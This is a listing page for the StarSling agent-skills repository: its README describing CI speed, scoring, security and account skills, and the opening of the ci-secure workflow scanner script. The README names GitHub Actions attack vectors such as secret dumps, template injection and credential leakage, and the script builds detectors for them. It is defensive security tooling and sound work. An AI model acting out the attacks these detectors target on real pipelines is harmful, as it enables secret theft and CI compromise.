skills
Agent skills from StarSling
Safety scan
A static text scan, not a guarantee. Select the badge to see what was scanned and every finding.
Check it deeper on your machine
It has changed since its scan on 11 Nov 2026. Its scripts were only partly scanned.
As a Claude Code plugin, install it and then ask Claude Code:
/plugin marketplace add keithmackay/mackayi/plugin install scanskillsafety@mackayiDo a deep scan of https://github.com/starslingdev/skills with scanskillsafety
Or from a terminal, clone it and run it:
git clone https://github.com/keithmackay/scanskillsafety-skill ~/.claude/skills/scanskillsafetynode ~/.claude/skills/scanskillsafety/cli.cjs --deep 'https://github.com/starslingdev/skills'
It checks the exact commit: every file, its packages against OSV (api.osv.dev), how it compares with this page's scan (findsafeskills.com receives the repository's address), and, if you agree, Claude reading every file with your own Claude subscription. It never runs the code.
Badge for your README
Markdown
[](/listings/starslingdev--skills)HTML
<a href="/listings/starslingdev--skills"><img src="/api/listings/starslingdev--skills/badge.svg" alt="findsafeskills safety rating" /></a>Install
What was scanned
The files the safety scan read, as written by the repository's author and shown as plain text. Lines with a finding are marked.
README.md · README · 278 lines
View this file on GitHub (read at the repository's current version: the scan did not record which commit it read)
This file has changed since it was scanned, so this is not exactly the text that was scanned, and no line is marked. The findings are listed with the safety scan above.
- <div align="center">
- # StarSling Skills
- Agent skills for faster, safer, and easier-to-debug GitHub Actions.
- [](https://skills.sh/starslingdev/skills)
- [Website](https://starsling.dev/skills)
- </div>
- ```bash
- npx skills add starslingdev/skills
- ```
- Choose the skills and agent you want when prompted. Add `-g` to install them
- for every project instead of only the current one, or use a skill-specific
- command from the sections below.
- ## Choose a skill
- | Skill | Use it when you want to… | Coverage | Reads | Skill file |
- |---|---|---|---|---|
- | 🏎️ [**ci‑speedup**](#ci-speedup) | Find what is slowing CI down or wasting runner-minutes | 90+ optimization patterns | Local workflows and GitHub run history | [`SKILL.md`](skills/ci-speedup/SKILL.md) |
- | 📋 [**ci‑score**](#ci-score) | Grade CI configuration against best practices | 10+ configuration checks | Local checkout | [`SKILL.md`](skills/ci-score/SKILL.md) |
- | 🔒 [**ci‑secure**](#ci-secure) | Find critical, exploitable GitHub Actions attack paths | 10+ critical attack vectors | Local workflows; optional GitHub API checks | [`SKILL.md`](skills/ci-secure/SKILL.md) |
- | 💫 [**sling**](#sling) | Understand usage, performance, billing, and CI activity across your StarSling account | 15+ account and CI commands | Your StarSling account | [`SKILL.md`](skills/sling/SKILL.md) |
- The first three audit a repository. They produce a report, then offer to fix
- the findings you select or save the report as Markdown. Fixes stay in your
- working tree for review: the skills do not commit, push, or open a pull request
- unless you explicitly ask.
- `sling` is different: it requires a StarSling account and gives you the
- operational view of that account—usage, performance, billing, runs, failures,
- runner capacity, and more. It reads the CI data StarSling already collects
- rather than auditing workflow files in a checkout. It does not change GitHub
- or CI state; requests that do are routed to the GitHub CLI.
- ## Requirements and data handling
- | Skill | Requirements | Network and data handling |
- |---|---|---|
- | <code>ci‑speedup</code> | Python 3.9+, PyYAML, authenticated `gh` | Reads GitHub run history through the GitHub API |
- | <code>ci‑score</code> | Python 3.9+, PyYAML | Fully offline |
- | <code>ci‑secure</code> | Python 3.9+, PyYAML; `gh` optional | Runs locally; `gh` enables nine additional checks |
- | `sling` | StarSling account, `sling` CLI, login, and StarSling GitHub App | Queries your account through StarSling's control plane |
- The repository-audit skills do not send audit results or repository contents
- to StarSling. `sling` sends the organization, repository, and run identifiers
- you ask about and stores its credential at `~/.config/sling/credentials`. See
- the full [data-handling policy](SECURITY.md).
- ---
- ## ci-speedup
- 🏎️ **Measure what actually makes CI slow, using your own run history.**
- **[Open the ci-speedup skill file →](skills/ci-speedup/SKILL.md)**
- ```bash
- npx skills add starslingdev/skills --skill ci-speedup
- ```
- Invoke it as `/ci-speedup` (`$ci-speedup` in Codex), or ask: *“Why is my CI
- slow?”*
- `ci-speedup` reports two separate measures:
- - **Developer wall-clock wait:** the merge-gating critical path, which findings
- are ranked by.
- - **Runner-minutes:** the compute bill and capacity consumed.
- The numbers come from real runs. The skill samples per-job P50/P95 timing via
- the GitHub API, reconstructs the actual job graph and critical path, and checks
- the result against a catalog of [90+ optimization
- patterns](skills/ci-speedup/references/optimization-patterns.md) spanning
- hygiene, data-driven detection, and structural critical-path analysis.
- It diagnoses rather than prescribing a generic fix. Each finding includes a
- ready-to-paste prompt for an agent that can inspect the relevant logs, history,
- and repository context before changing anything.
- **Examples:** [pallets/flask](examples/pallets-flask/ci-speedup-findings-report.md)
- · [microsoft/playwright](examples/microsoft-playwright/ci-speedup-findings-report.md)
- **Reference:** [Architecture](skills/ci-speedup/ARCHITECTURE.md) ·
- [Catalog](skills/ci-speedup/references/optimization-patterns.md) ·
- [Wall-clock methodology](skills/ci-speedup/references/wall-clock-methodology.md) ·
- [Savings methodology](skills/ci-speedup/references/savings-methodology.md) ·
- [Changelog](skills/ci-speedup/CHANGELOG.md) ·
- [All files](skills/ci-speedup/) ·
- [Website](https://starsling.dev/skills/ci-speedup)
- ---
- ## ci-score
- 📋 **Grade CI configuration against best practices and get a ranked fix for
- every gap.**
- **[Open the ci-score skill file →](skills/ci-score/SKILL.md)**
- ```bash
- npx skills add starslingdev/skills --skill ci-score
- ```
- Invoke it as `/ci-score` (`$ci-score` in Codex), or ask: *“Grade my CI.”* It
- runs fully offline.
- The score covers 10+ configuration checks, including caching, shallow
- checkout, sharding, concurrency cancellation, path filters, timeouts, action
- pinning, and OIDC scoping. The score is checks passed divided by checks
- applicable; every failed check gets one ranked fix.
- It measures **best-practice adherence, not speed**, and it is **not a security
- audit**. A small subset of checks is security-adjacent, but the score makes no broader
- security claim.
- **Example:** [pallets/flask](examples/pallets-flask/ci-score-report.md), scoring
- 89/100.
- **Reference:** [Methodology](skills/ci-score/references/ci-score-methodology.md)
- · [Machine-readable rubric](skills/ci-score/references/ci-score-spec.json) ·
- [Changelog](skills/ci-score/CHANGELOG.md) · [All files](skills/ci-score/) ·
- [Website](https://starsling.dev/skills/ci-score)
- ---
- ## ci-secure
- 🔒 **Find 10+ critical GitHub Actions attack vectors and fix the findings you
- select.**
- **[Open the ci-secure skill file →](skills/ci-secure/SKILL.md)**
- ```bash
- npx skills add starslingdev/skills --skill ci-secure
- ```
- Invoke it as `/ci-secure` (`$ci-secure` in Codex), or ask: *“Is my CI
- secure?”*
- The scanner checks for [10+ critical attack
- vectors](skills/ci-secure/references/security-patterns.md): template injection,
- privileged execution of fork code, cache poisoning, impostor action SHAs,
- secret dumps, `$GITHUB_ENV` hijacking, write tokens on untrusted triggers,
- credentials in caches and artifacts, unverified remote-code execution, and
- dependency install scripts running beside secrets.
- Each finding names the file and line, quotes the workflow, and explains what an
- attacker could do. Zero findings is a first-class result. A check that could
- not run is reported as *did not run*, never as a pass.
- This is deliberately **not a comprehensive security audit** and does not
- produce a security score. The closed set contains exploit chains with a real
- incident behind each one; see [how the vectors are selected](skills/ci-secure/references/why-these-ten.md).
- **Examples:** the same `snowflakedb/snowflake-connector-net` workflow at two
- commits — [3 findings before the fix](examples/snowflakedb-snowflake-connector-net/ci-secure-report-4a1b8ce.md)
- and [0 findings after](examples/snowflakedb-snowflake-connector-net/ci-secure-report-1dc7766.md).
- ### ci-secure CI check
- The optional CI check runs the same engine on every pull request so fixed
- findings do not return. Ask your agent to install it:
- **This repository uses it.** See
- [`.github/workflows/ci-secure-check.yml`](.github/workflows/ci-secure-check.yml),
- which scans this repository's own workflows and publishes the stable
- `ci-secure` verdict used by branch protection.
- ```text
- Run `npx skills add starslingdev/skills --skill ci-secure` to install or
- update the ci-secure skill, then install ci-secure as a CI check in this repo.
- ```
- The check is vendored, not fetched at runtime. Its engine, gate, and license
- are copied into the repository, making the code that judges a pull request
- readable and stable. The setup starts in advisory mode; remove `--advisory` and
- make the check required when you are ready for it to block merges.
- **CI-check implementation:** [Gate](skills/ci-secure/scaffold/gate.py) ·
- [Workflow](skills/ci-secure/scaffold/ci-secure.yml) ·
- [Vendor script](skills/ci-secure/scripts/vendor.py) ·
- [Setup guide](skills/ci-secure/references/ci-gate.md)
- **Reference:** [Attack vectors](skills/ci-secure/references/security-patterns.md)
- · [Selection criteria](skills/ci-secure/references/why-these-ten.md) ·
- [Configuration checks](skills/ci-secure/references/security-facts.md) ·
- [Troubleshooting](skills/ci-secure/references/troubleshooting.md) ·
- [Changelog](skills/ci-secure/CHANGELOG.md) · [All files](skills/ci-secure/) ·
- [Website](https://starsling.dev/skills/ci-secure)
- ---
- ## sling
- 💫 **Understand usage, performance, billing, and CI activity across your
- StarSling account.**
- **[Open the sling skill file →](skills/sling/SKILL.md)**
- ```bash
- npx skills add starslingdev/skills --skill sling
- ```
- Invoke it as `/sling` (`$sling` in Codex), or ask: *“What is driving our
- StarSling bill?”*, *“How is runner performance trending?”*, or *“Why did this
- job fail?”*
- Unlike the repository-audit skills, `sling` requires a StarSling account. The
- skill drives StarSling's [`sling` CLI](https://docs.starsling.dev/sling-cli),
- the agent-first interface to that account, read-only against GitHub and CI.
- Its 15+ commands cover:
- - **Usage:** attribute runner-minutes and cost by repository, workflow, job,
- label, or day.
- - **Performance:** decompose wall-clock time, compare lifecycle phases, and
- rank time or cost hotspots with trends.
- - **Billing:** inspect the current period, month-end projection, credits,
- per-label line items, and finalized invoice history.
- - **CI activity:** find runs and jobs, diagnose failures, and retrieve only the
- relevant log lines.
- - **Account and capacity:** work across your organizations and compare the
- runner sizes, specifications, and prices available to you.
- The routing is part of the skill:
- - Account reads—usage, billing, runner performance and capacity, runs, jobs,
- and failures—go to `sling`.
- - State changes—rerun, cancel, trigger, enable, disable, or artifact
- download—go to `gh`.
- - Repository-wide workflow audits go to `ci-speedup`, `ci-score`, or
- `ci-secure`.
- Before answering, the skill checks that the CLI is installed, you are signed
- in to your StarSling account, and the [StarSling GitHub
- App](https://github.com/apps/starslingdev) is installed for the organization
- whose data you want to inspect. The service currently supports organizations,
- not personal repositories.
- **Reference:** [Verified command reference](skills/sling/references/command-reference.md)
- · [GitHub CLI fallback](skills/sling/references/gh-fallback.md) ·
- [Machine-readable command surface](skills/sling/references/command-surface.json)
- · [Changelog](skills/sling/CHANGELOG.md) · [All files](skills/sling/) ·
- [Website](https://starsling.dev/cli) ·
- [StarSling homepage](https://starsling.dev/) ·
- [CLI documentation](https://docs.starsling.dev/sling-cli)
- ---
- ## For maintainers
- Maintainer-only infrastructure lives outside the installable skill trees, so
- the `skills` CLI never copies it into an installation:
- - [`maintainers/ci-speedup/`](maintainers/ci-speedup/) — self-improvement loops
- that run locally; see its [maintainer guide](maintainers/ci-speedup/MAINTAINERS.md).
- - [`maintainers/ci-score/`](maintainers/ci-score/) — maintainer notes and
- deliberately excluded checks; see its [maintainer guide](maintainers/ci-score/MAINTAINERS.md).
- - [`maintainers/ci-secure/`](maintainers/ci-secure/) — disclosure policy and
- enforcement for scans of third-party repositories; see its [maintainer
- guide](maintainers/ci-secure/MAINTAINERS.md).
- - [`maintainers/skills-registry-security/`](maintainers/skills-registry-security/)
- — triage for registry security-audit failures; see its
- [README](maintainers/skills-registry-security/README.md).
- This repository's internal CI runs on [StarSling
- Runners](https://starsling.dev/products/runners). Fork pull requests run the
- same suite on GitHub-hosted runners, so untrusted code does not execute on
- self-hosted runners. See [CONTRIBUTING.md](CONTRIBUTING.md).
- ## License
- [MIT](LICENSE)
skills/ci-secure/scripts/scan.py · Bundled script · 7,533 lines · 2 findings marked
- #!/usr/bin/env python3
- """ci-secure scanner.
- Parses METADATA blocks out of references/security-patterns.md, applies the
- declared detectors against workflow YAML files in the current repo, and
- emits a JSON document on stdout describing the findings. See the catalog's
- "METADATA schema" section for the supported detector types.
- Usage:
- scan.py [--catalog PATH] [--root PATH] [--repo OWNER/REPO]
- [--gh-impostor auto|on|off]
- `--gh-impostor` gates every GitHub API lookup the vectors make: the
- network-gated detector P14.11, and P14.24's release-immutability lookup for
- a GitHub CLI extension pinned to a tag. `auto` (the default) runs them iff
- `gh` is authenticated; `on` requires it; `off` skips them, so the scan stays
- offline. Every outcome is recorded in the output's `gh_checks` — a skip is
- never silence.
- Exit codes:
- 0 success (with or without findings)
- 1 scanner error — a coverage failure, never a clean result: catalog
- parse/validation failure, no workflows directory, or workflow files
- that exist on disk but were not discovered
- 2 invalid arguments — a malformed `--repo`, OR `--gh-impostor=on`
- with no authenticated gh (the required check could not run)
- """
- from __future__ import annotations
- import argparse
- import datetime as _dt
- import fnmatch
- import glob
- import json
- import os
- import re
- import shlex
- import shutil
- import subprocess
- import sys
- import time
- from collections.abc import Callable
- from concurrent.futures import ThreadPoolExecutor
- from dataclasses import dataclass
- from functools import lru_cache
- from pathlib import Path
- from typing import Any, Iterator, Literal, TypedDict, get_args
- Severity = Literal["HIGH", "MEDIUM", "LOW", "MANUAL"]
- Detector = Literal[
- "regex",
- "yaml-path",
- "yaml-path-absent",
- "yaml-on-trigger",
- "yaml-run-injection",
- "yaml-job-correlated", # two predicates that must coexist on one job
- "yaml-workflow-correlated", # two predicates that must coexist at workflow scope
- "repo-file-check", # reads a file outside .github/workflows/
- "gh-impostor-sha", # the one NETWORK-GATED detector: verifies each
- # unique `uses: owner/repo@<40-hex>` pin against
- # the GitHub API (does the canonical repo contain
- # this commit?). Runs only when gh is
- # authenticated; scan output records ran/skipped
- # so a skip is never a silent pass.
- "manual", # documentation-only: never scanned. Coverage
- # is provided out-of-band (human review); the
- # catalog entry exists for reference.
- ]
- class Finding(TypedDict):
- """Required base shape of a single finding emitted to the report.
- ``total=True`` (the default) deliberately: these eleven keys are
- emitted by the scan producer, so the
- type says what the prose used to only describe — a finding without,
- say, ``severity`` or ``line`` is malformed, not merely "optional".
- ``report.py`` validates incoming findings against this contract at its
- JSON-load boundary (``_validate_findings``) and surfaces violations
- loudly rather than rendering them with silent defaults (severity →
- MANUAL, line → 0), which would bury a real finding at the bottom of the
- report. Optional, producer-specific keys live on ``FindingExtra``.
- """
- id: str
- pattern: str
- severity: Severity
- title: str
- workflow_file: str
- line: int
- affected_jobs: list[str]
- workflow_activity: dict[str, Any]
- evidence: str
- fix_strategy: str
- fix_recipe_anchor: str
- class FindingExtra(Finding, total=False):
- """``Finding`` plus the keys some producers add. All optional."""
- # Merged onto every member of a group by the orchestrator at runtime
- # (SKILL.md Phase 2.5): the repo-grounded exploitation scenario the
- # report renders at the top of each finding. Either an object with one
- # plain-English field per report section (`what_it_does`, `why_flagged`,
- # `what_must_go_wrong`, `attacker_could`, `verdict`, `how_to_close`), or —
- # from an older run — one paragraph, which renders under "What an
- # attacker could do then". Absent → the report falls back to the
- # catalog's static capability line.
- attacker_scenario: str | dict[str, Any]
- # P14.18 only: GitHub's "Allow GitHub Actions to create and approve pull
- # requests" repository setting, read over the API. `state` is "true",
- # "false" or "unread" (the reason in `detail`) — never guessed.
- actions_can_approve_prs: dict[str, str]
- # Detector-specific guidance for findings whose evidence changes the
- # appropriate remediation within one catalog pattern.
- fix_guidance: str
- audit_id: str
- audit_url: str
- # "source" (evidence quotes the workflow verbatim) or "derived" (evidence
- # is a claim the scanner assembled about the file — the correlated chain
- # detectors state two facts that coexist). Absent is read as "source".
- evidence_kind: str
- try:
- import yaml # PyYAML
- except ImportError:
- print(
- "ERROR: PyYAML is required. Install with: pip install pyyaml",
- file=sys.stderr,
- )
- sys.exit(1)
- # Allow `from config import ...` and `from gh_utils import ...` regardless
- # of where this script is invoked from.
- _THIS_DIR = Path(__file__).resolve().parent
- if str(_THIS_DIR) not in sys.path:
- sys.path.insert(0, str(_THIS_DIR))
- from config import ( # noqa: E402
- ACTIVITY_RUN_LIMIT,
- DORMANT_DAYS,
- setup_logging,
- )
- logger = setup_logging(__name__)
- # A METADATA block is an HTML comment beginning with `<!-- METADATA` on its
- # own line and ending with `-->`. Each line is `key: value`. The block is
- # attached to the most recent `### Pxx.y` heading.
- _PATTERN_HEADING = re.compile(r"^###\s+(P\d+(?:\.\d+)?)\s+", re.MULTILINE)
- _PATTERN_HEADING_FULL = re.compile(r"^###\s+(.+?)\s*$", re.MULTILINE)
- _METADATA_BLOCK = re.compile(
- r"<!--\s*METADATA\s*(.*?)\s*-->",
- re.DOTALL,
- )
- # Characters that survive GitHub's heading-slug algorithm. Anything outside
- # this set is dropped, then spaces are converted to hyphens. Mirrors the
- # behavior of GitHub's blob renderer for `###`-style anchors.
- _SLUG_KEEP = re.compile(r"[^a-z0-9 \-_]")
- _VALID_SEVERITIES = frozenset(get_args(Severity))
- _VALID_DETECTORS = frozenset(get_args(Detector))
- @dataclass(frozen=True)
- class CatalogEntry:
- pattern: str
- severity: Severity
- detector: Detector
- affected_files: list[str]
- fix_strategy: str
- title_template: str
- match: str | None = None
- yaml_path: str | None = None
- yaml_value: str | None = None
- trigger_keys: list[str] | None = None
- # New: named correlation/check identifier for the three new
- # detector classes. Each names a Python function in scan.py's
- # CORRELATION / FILE_CHECK dispatch tables — keeps METADATA
- # short while letting the catalog opt into specific predicates.
- correlation: str | None = None
- file_check: str | None = None
- anchor: str = ""
- def __post_init__(self) -> None:
- if self.severity not in _VALID_SEVERITIES:
- raise ValueError(
- f"Pattern {self.pattern}: unknown severity {self.severity!r}"
- )
- if self.detector not in _VALID_DETECTORS:
- raise ValueError(
- f"Pattern {self.pattern}: unknown detector {self.detector!r}"
- )
- if self.detector in ("regex", "yaml-run-injection") and not self.match:
- raise ValueError(
- f"Pattern {self.pattern}: {self.detector} detector requires match"
- )
- if (
- self.detector in ("yaml-path", "yaml-path-absent")
- and not self.yaml_path
- ):
- raise ValueError(
- f"Pattern {self.pattern}: {self.detector} requires yaml_path"
- )
- if self.detector == "yaml-on-trigger" and not self.trigger_keys:
- raise ValueError(
- f"Pattern {self.pattern}: yaml-on-trigger requires trigger_keys"
- )
- if (
- self.detector
- in ("yaml-job-correlated", "yaml-workflow-correlated")
- and not self.correlation
- ):
- raise ValueError(
- f"Pattern {self.pattern}: {self.detector} requires correlation"
- )
- if self.detector == "repo-file-check" and not self.file_check:
- raise ValueError(
- f"Pattern {self.pattern}: repo-file-check requires file_check"
- )
- @property
- def affected_globs(self) -> list[str]:
- return [g.strip() for g in self.affected_files if g.strip()]
- def _parse_metadata_block(body: str) -> dict[str, str]:
- out: dict[str, str] = {}
- for raw_line in body.splitlines():
- line = raw_line.strip()
- if not line or ":" not in line:
- continue
- key, _, value = line.partition(":")
- out[key.strip()] = value.strip().strip('"')
- return out
- def _github_slug(heading_text: str) -> str:
- """Reproduce GitHub's heading-anchor slug algorithm.
- GitHub lowercases the heading, drops every character outside
- ``[a-z0-9 _-]``, then replaces spaces with hyphens. Em-dashes and
- other punctuation become empty strings, which often produces visible
- double-hyphens (e.g. ``p148--id-token-write-...``).
- """
- text = heading_text.lower()
- text = _SLUG_KEEP.sub("", text)
- return text.replace(" ", "-")
- def _anchor_for(pattern: str, heading_text: str) -> str:
- """Return the GitHub-style anchor for a catalog pattern heading.
- Always derived from the full heading text so cross-links resolve
- against GitHub's rendered anchor (e.g. ``p148--id-token-write-...``)
- rather than the bare pattern id.
- """
- return _github_slug(heading_text)
- class CoverageError(RuntimeError):
- """A scan could not cover what it claims to cover.
- Raised — never swallowed — when the scanner would otherwise emit a
- result that reads as clean while a check silently did not happen: a
- catalog entry that failed to load (its chain would simply vanish from
- the report), or workflow files that exist on disk but were not
- discovered. ``main()`` turns it into exit 1.
- """
- def load_catalog(catalog_path: Path) -> list[CatalogEntry]:
- """Parse every ``### Pxx.y`` section's METADATA block into a CatalogEntry.
- STRICT by construction: a section that fails to yield a valid entry
- raises instead of being skipped. A dropped entry is invisible in the
- output — the chain is simply never evaluated and the report says
- "clean" — so a one-character METADATA typo would silently delete a
- detector. Failing the whole load makes that a loud coverage failure.
- """
- if not catalog_path.exists():
- raise FileNotFoundError(f"Catalog not found at {catalog_path}")
- text = catalog_path.read_text(encoding="utf-8")
- headings: list[tuple[str, int]] = [
- (m.group(1), m.start()) for m in _PATTERN_HEADING.finditer(text)
- ]
- if not headings:
- raise ValueError(f"No pattern headings found in {catalog_path}")
- section_bounds: list[tuple[str, int, int]] = []
- for i, (pattern, start) in enumerate(headings):
- end = headings[i + 1][1] if i + 1 < len(headings) else len(text)
- section_bounds.append((pattern, start, end))
- entries: list[CatalogEntry] = []
- for pattern_id, start, end in section_bounds:
- section = text[start:end]
- heading_match = _PATTERN_HEADING_FULL.search(section)
- heading_text = heading_match.group(1).strip() if heading_match else pattern_id
- m = _METADATA_BLOCK.search(section)
- if not m:
- raise ValueError(
- f"Pattern {pattern_id}: no METADATA block — the section cannot "
- f"be scanned"
- )
- meta = _parse_metadata_block(m.group(1))
- if meta.get("pattern") and meta["pattern"] != pattern_id:
- raise ValueError(
- f"Pattern {pattern_id}: heading mismatches METADATA pattern "
- f"{meta['pattern']}"
- )
- affected_files = [
- g.strip()
- for g in (meta.get("affected_files") or "").split(",")
- if g.strip()
- ]
- trigger_keys: list[str] | None = None
- raw_trigger_keys = meta.get("trigger_keys")
- if raw_trigger_keys:
- trigger_keys = [k.strip() for k in raw_trigger_keys.split(",") if k.strip()]
- try:
- entries.append(
- CatalogEntry(
- pattern=pattern_id,
- severity=meta.get("severity", "MANUAL"),
- # No default for `detector`: a missing key is a real
- # catalog bug, and the KeyError below is re-raised as a
- # ValueError naming the pattern rather than a silent
- # post-init validation failure on an inscrutable
- # `"manual"` string that's no longer a valid value.
- detector=meta["detector"],
- affected_files=affected_files,
- fix_strategy=meta.get("fix_strategy", ""),
- title_template=meta.get(
- "title_template", "Finding in {basename}"
- ),
- match=meta.get("match"),
- yaml_path=meta.get("yaml_path"),
- yaml_value=meta.get("yaml_value"),
- trigger_keys=trigger_keys,
- correlation=meta.get("correlation"),
- file_check=meta.get("file_check"),
- anchor=_anchor_for(pattern_id, heading_text),
- )
- )
- except KeyError as e:
- raise ValueError(
- f"Pattern {pattern_id}: METADATA missing required key {e}"
- ) from e
- # Catalog-load-time validation: reject entries whose
- # correlation/file_check identifier doesn't resolve to a real
- # dispatch function. The tables are defined later in this module,
- # but `_validate_catalog_dispatch` is called only at load time so
- # they're populated by then.
- return _validate_catalog_dispatch(entries)
- def discover_workflow_files(root: Path, globs: list[str]) -> list[Path]:
- """Resolve ``globs`` under ``root``.
- ``root`` is escaped: it is a filesystem path, not a pattern, and a
- literal glob metacharacter in a directory name (``/tmp/repo[1]/``) would
- otherwise be interpreted as a character class and match nothing — every
- workflow silently invisible, the scan "clean".
- """
- seen: set[Path] = set()
- root_pattern = glob.escape(str(root))
- for pattern in globs:
- for match in glob.glob(os.path.join(root_pattern, pattern), recursive=True):
- p = Path(match).resolve()
- if p.is_file():
- seen.add(p)
- return sorted(seen)
- def all_workflow_files(root: Path) -> list[Path]:
- # The `.*` patterns are not redundant: `glob` refuses to match a leading
- # dot with `*`, so a dot-prefixed workflow (`.test.yml`, as moby ships)
- # was invisible to discovery while the coverage tripwire's directory
- # listing — the ground truth — saw it, and the whole repo was refused.
- return discover_workflow_files(
- root,
- [
- ".github/workflows/*.yml", ".github/workflows/*.yaml",
- ".github/workflows/.*.yml", ".github/workflows/.*.yaml",
- ],
- )
- def _undiscovered_workflows(root: Path, discovered: list[Path]) -> list[str]:
- """Workflow files present in ``.github/workflows/`` that discovery missed.
- Discovery returning nothing where the directory plainly holds workflow
- YAML is not an empty repo — it is a broken scan that would render as a
- clean one. Compared by resolved path so a symlinked or escaped root
- can't produce a phantom mismatch.
- """
- wf_dir = root / ".github" / "workflows"
- if not wf_dir.is_dir():
- return []
- found = {p.resolve() for p in discovered}
- try:
- listed = sorted(
- p for p in wf_dir.iterdir()
- if p.is_file() and p.suffix in (".yml", ".yaml")
- )
- except OSError as e:
- logger.warning("could not list %s: %s", wf_dir, e)
- return []
- return [p.name for p in listed if p.resolve() not in found]
- @dataclass(frozen=True)
- class RawHit:
- """An immutable detector hit. Produced by a detector generator and
- consumed straight into a ``Finding`` dict — never mutated — so it's
- frozen, matching the sibling ``CatalogEntry``."""
- line: int
- evidence: str
- match_text: str
- # True when `evidence` is a sentence this scanner SYNTHESIZED about the
- # workflow (the correlated chain detectors state two facts that coexist)
- # rather than lines quoted verbatim from the file. The report must not
- # dress a derived claim as quoted source — a reader who opens the file
- # looking for that text does not find it.
- derived: bool = False
- # An optional SECOND claim, always derived, rendered under the verbatim
- # evidence and labelled as assembled-by-the-scanner. It exists for a
- # detector whose finding is "this quoted line, *because of* a condition
- # elsewhere in the job" (P14.25: an install command is only a finding when
- # the same job holds secrets or a write scope). Folding that condition into
- # `evidence` would either lose the verbatim quote or dress the derived half
- # as source; a separate field keeps both honest.
- derived_note: str | None = None
- # A small number of evidence-sensitive patterns have a catalog default
- # severity but can prove a narrower risk profile for this occurrence.
- severity_override: Severity | None = None
- attacker_scenario: str | None = None
- fix_strategy_override: str | None = None
- fix_guidance: str | None = None
- _CONTEXT_PATH_RE = re.compile(
- r"\b(?P<path>(?:inputs|client_payload|repository_dispatch\.client_payload|"
- r"github\.event)(?:(?:\.[A-Za-z_][A-Za-z0-9_-]*)|"
- r"(?:\s*\[\s*(?:'[^']+'|\"[^\"]+\")\s*\]))+)",
- )
- _CONTEXT_BRACKET_KEY_RE = re.compile(
- r"\s*\[\s*(?:'(?P<single>[^']+)'|\"(?P<double>[^\"]+)\")\s*\]",
- )
- def _normalize_context_brackets(text: str) -> str:
- """Turn quoted context indexes into dotted paths without moving offsets.
- The detector patterns describe context paths in dotted form. GitHub also
- accepts bracket indexing, which is required for names containing a hyphen.
- Each complete bracket chain is rewritten at once so a chain such as
- ``github.event['inputs']['max-items']`` remains one path. Spaces pad the
- shorter dotted spelling to the original length, preserving source offsets
- and line attribution for the raw workflow text.
- """
- def _replace_path(match: re.Match[str]) -> str:
- path = match.group("path")
- def _replace_key(key_match: re.Match[str]) -> str:
- key = key_match.group("single") or key_match.group("double") or ""
- return "." + re.sub(r"[^A-Za-z0-9_]", "_", key)
- dotted = _CONTEXT_BRACKET_KEY_RE.sub(_replace_key, path)
- # Pad before the replacement so every dotted and bracket segment stays
- # attached. The total length is unchanged, so later source offsets
- # still line up with the original workflow text.
- return " " * (len(path) - len(dotted)) + dotted
- # Shell text may contain bracket-looking strings whose quoted key embeds a
- # template expression. Rewriting the whole shell scalar would consume that
- # expression and hide the injection, so only expression bodies are
- # normalized. Walk once rather than searching from every `${{`: an
- # unclosed expression is untrusted input too, and the old lookahead regex
- # rescanned the remainder for every additional opener.
- pieces: list[str] = []
- cursor = 0
- while True:
- opening = text.find("${{", cursor)
- if opening < 0:
- pieces.append(text[cursor:])
- break
- closing = text.find("}}", opening + 3)
- if closing < 0:
- pieces.append(text[cursor:])
- break
- pieces.append(text[cursor:opening])
- expression = text[opening:closing + 2]
- pieces.append(_CONTEXT_PATH_RE.sub(_replace_path, expression))
- cursor = closing + 2
- return "".join(pieces)
- def detect_regex(file_path: Path, pattern: str, *,
- normalize_context_brackets: bool = False) -> Iterator[RawHit]:
- content = _read_text_safe(file_path)
- if not content:
- return
- match_content = (
- _normalize_context_brackets(content)
- if normalize_context_brackets else content
- )
- lines = content.splitlines()
- compiled = re.compile(pattern, re.MULTILINE)
- for m in compiled.finditer(match_content):
- line_no = content.count("\n", 0, m.start()) + 1
- idx = line_no - 1
- start = max(0, idx - 1)
- stop = min(len(lines), idx + 2)
- evidence_lines = []
- for i in range(start, stop):
- marker = " <-- here" if i == idx else ""
- evidence_lines.append(f"{i + 1:>4}: {lines[i]}{marker}")
- yield RawHit(
- line=line_no,
- evidence="\n".join(evidence_lines),
- match_text=m.group(0),
- )
- def _walk_yaml_path(node: Any, parts: list[str]) -> Iterator[Any]:
- if not parts:
- yield node
- return
- head, *rest = parts
- if isinstance(node, dict):
- if head == "*":
- for v in node.values():
- yield from _walk_yaml_path(v, rest)
- elif head in node:
- yield from _walk_yaml_path(node[head], rest)
- elif isinstance(node, list) and head == "*":
- for item in node:
- yield from _walk_yaml_path(item, rest)
- def _read_text_safe(file_path: Path) -> str:
- """Read a file as text. Logs and returns ``""`` on OSError.
- Returning ``""`` lets callers short-circuit cleanly; the warning
- keeps the failure visible so a permission-denied file isn't silently
- excluded from the scan.
- """
- try:
- return file_path.read_text(encoding="utf-8", errors="replace")
- except OSError as e:
- logger.warning("Could not read %s: %s", file_path, e)
- return ""
- # Files whose parse failure has already been reported this process. Every
- # detector re-parses each workflow, so one broken file printed the same
- # multi-line PyYAML error seven to nine times and buried the rest of stderr.
- # The file is still reported once, and still recorded as a coverage gap.
- _PARSE_FAILURES_LOGGED: set[str] = set()
- def _parse_yaml_text(text: str, file_path: Path, quiet: bool = False) -> Any:
- """Parse already-read YAML text. ``file_path`` is used only for logging.
- ``quiet`` is for a second pass over files the scan has already reported on
- (the scored config facts re-parse every workflow): the failure is real, but
- announcing it again tells the operator nothing new.
- """
- try:
- return yaml.safe_load(text)
- except yaml.YAMLError as e:
- key = str(file_path)
- if not quiet and key not in _PARSE_FAILURES_LOGGED:
- _PARSE_FAILURES_LOGGED.add(key)
- logger.warning("YAML parse error in %s: %s", file_path, e)
- else:
- logger.debug("YAML parse error in %s (already reported)", file_path)
- return None
- def _probe_scannability(file_path: Path) -> str | None:
- """Return a coverage-gap reason if a workflow can't be fully scanned, else None.
- The per-detector early-returns (``if doc is None: return`` and the
- ``_read_text_safe`` -> ``""`` short-circuit) collapse a file that *failed*
- to read or parse into the same empty result as a file that scanned cleanly.
- For a security scanner that silently turns a missing check into a clean
- bill of health, so ``scan()`` probes every workflow once and records the
- failures in ``scan_incomplete`` so report.py can name them loudly.
- Outcomes:
- - OSError on read -> NO detector evaluated the file (gap covers all patterns).
- - ``yaml.YAMLError`` -> regex detectors still ran on the raw text, but every
- YAML-based detector (yaml-path, yaml-on-trigger, the parse half of
- yaml-run-injection, all correlations, and ``affected_jobs_for``) yielded
- nothing — the file is NOT clean for those patterns, it was never checked.
